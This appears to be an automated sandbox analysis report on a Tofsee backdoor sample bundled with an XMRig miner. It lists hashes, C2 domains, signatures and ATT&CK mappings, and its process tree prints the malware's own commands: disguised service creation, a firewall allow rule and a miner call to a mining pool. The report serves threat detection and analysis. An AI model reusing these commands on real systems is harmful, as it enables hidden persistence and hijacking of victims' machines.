Analysis

  • max time kernel
    152s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    06-06-2022 11:41

General

  • Target

    8dd54a2cf3be8a7893f9c4cf474b29a5ebe95558a404e551faf95cd0dc65018c.exe

  • Size

    262KB

  • MD5

    b0431de64e84ffb815a80ee55e252c64

  • SHA1

    cb0ca7154c63ae2e241880d9e535396c1e9a2a24

  • SHA256

    8dd54a2cf3be8a7893f9c4cf474b29a5ebe95558a404e551faf95cd0dc65018c

  • SHA512

    c3ff01ab26aefa24b8cbad807a1158ae9e796b8ff8ad4d42cbc33562b0360f2c0571711c18ad35f04ace8608057e988bb5692f22b5ae3d73c114271c32d464cc

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8dd54a2cf3be8a7893f9c4cf474b29a5ebe95558a404e551faf95cd0dc65018c.exe
    "C:\Users\Admin\AppData\Local\Temp\8dd54a2cf3be8a7893f9c4cf474b29a5ebe95558a404e551faf95cd0dc65018c.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\budasniq\
      2⤵
        PID:3164
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oalxixfm.exe" C:\Windows\SysWOW64\budasniq\
        2⤵
          PID:4528
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create budasniq binPath= "C:\Windows\SysWOW64\budasniq\oalxixfm.exe /d\"C:\Users\Admin\AppData\Local\Temp\8dd54a2cf3be8a7893f9c4cf474b29a5ebe95558a404e551faf95cd0dc65018c.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4512
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description budasniq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1632
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start budasniq
          2⤵
          • Launches sc.exe
          PID:4472
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4348
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4876 -s 1228
          2⤵
          • Program crash
          PID:1544
      • C:\Windows\SysWOW64\budasniq\oalxixfm.exe
        C:\Windows\SysWOW64\budasniq\oalxixfm.exe /d"C:\Users\Admin\AppData\Local\Temp\8dd54a2cf3be8a7893f9c4cf474b29a5ebe95558a404e551faf95cd0dc65018c.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1692
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4792
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1532
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1692 -s 516
          2⤵
          • Program crash
          PID:224
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4876 -ip 4876
        1⤵
          PID:2008
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1692 -ip 1692
          1⤵
            PID:3740

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\oalxixfm.exe
            Filesize

            11.1MB

            MD5

            df6ccc5269efe6c74297251d89dbba62

            SHA1

            636b705331556bd7d6bcab7379a4e95869f7e647

            SHA256

            9674aa2fbb9bc81a3bf99a2b71b728bf172dff8463d0e142effc123f0661255b

            SHA512

            d01eef4624f3e3fc443ecf307f530c0b5f058ed42b3bb4fcdf3e0f191cc14cb50ab2ed639b22efc169cfb42310fb5b15ca89482a49ca3ddcc48cc74700fde432

          • C:\Windows\SysWOW64\budasniq\oalxixfm.exe
            Filesize

            11.1MB

            MD5

            df6ccc5269efe6c74297251d89dbba62

            SHA1

            636b705331556bd7d6bcab7379a4e95869f7e647

            SHA256

            9674aa2fbb9bc81a3bf99a2b71b728bf172dff8463d0e142effc123f0661255b

            SHA512

            d01eef4624f3e3fc443ecf307f530c0b5f058ed42b3bb4fcdf3e0f191cc14cb50ab2ed639b22efc169cfb42310fb5b15ca89482a49ca3ddcc48cc74700fde432

          • memory/1532-176-0x0000000000610000-0x0000000000701000-memory.dmp
            Filesize

            964KB

          • memory/1532-171-0x0000000000610000-0x0000000000701000-memory.dmp
            Filesize

            964KB

          • memory/1532-170-0x0000000000000000-mapping.dmp
          • memory/1632-137-0x0000000000000000-mapping.dmp
          • memory/1692-146-0x0000000002E00000-0x0000000002E13000-memory.dmp
            Filesize

            76KB

          • memory/1692-148-0x0000000000400000-0x0000000002DB8000-memory.dmp
            Filesize

            41.7MB

          • memory/1692-145-0x0000000002F6E000-0x0000000002F7E000-memory.dmp
            Filesize

            64KB

          • memory/3164-133-0x0000000000000000-mapping.dmp
          • memory/4348-139-0x0000000000000000-mapping.dmp
          • memory/4472-138-0x0000000000000000-mapping.dmp
          • memory/4512-136-0x0000000000000000-mapping.dmp
          • memory/4528-134-0x0000000000000000-mapping.dmp
          • memory/4792-158-0x0000000003020000-0x0000000003030000-memory.dmp
            Filesize

            64KB

          • memory/4792-155-0x0000000003010000-0x0000000003016000-memory.dmp
            Filesize

            24KB

          • memory/4792-141-0x0000000000000000-mapping.dmp
          • memory/4792-167-0x00000000033E0000-0x00000000033E7000-memory.dmp
            Filesize

            28KB

          • memory/4792-150-0x0000000000F90000-0x0000000000FA5000-memory.dmp
            Filesize

            84KB

          • memory/4792-151-0x0000000000F90000-0x0000000000FA5000-memory.dmp
            Filesize

            84KB

          • memory/4792-152-0x0000000002E00000-0x000000000300F000-memory.dmp
            Filesize

            2.1MB

          • memory/4792-164-0x0000000007E80000-0x000000000828B000-memory.dmp
            Filesize

            4.0MB

          • memory/4792-142-0x0000000000F90000-0x0000000000FA5000-memory.dmp
            Filesize

            84KB

          • memory/4792-161-0x00000000033D0000-0x00000000033D5000-memory.dmp
            Filesize

            20KB

          • memory/4876-147-0x0000000002FE2000-0x0000000002FF2000-memory.dmp
            Filesize

            64KB

          • memory/4876-149-0x0000000000400000-0x0000000002DB8000-memory.dmp
            Filesize

            41.7MB

          • memory/4876-130-0x0000000002FE2000-0x0000000002FF2000-memory.dmp
            Filesize

            64KB

          • memory/4876-132-0x0000000000400000-0x0000000002DB8000-memory.dmp
            Filesize

            41.7MB

          • memory/4876-131-0x0000000002E40000-0x0000000002E53000-memory.dmp
            Filesize

            76KB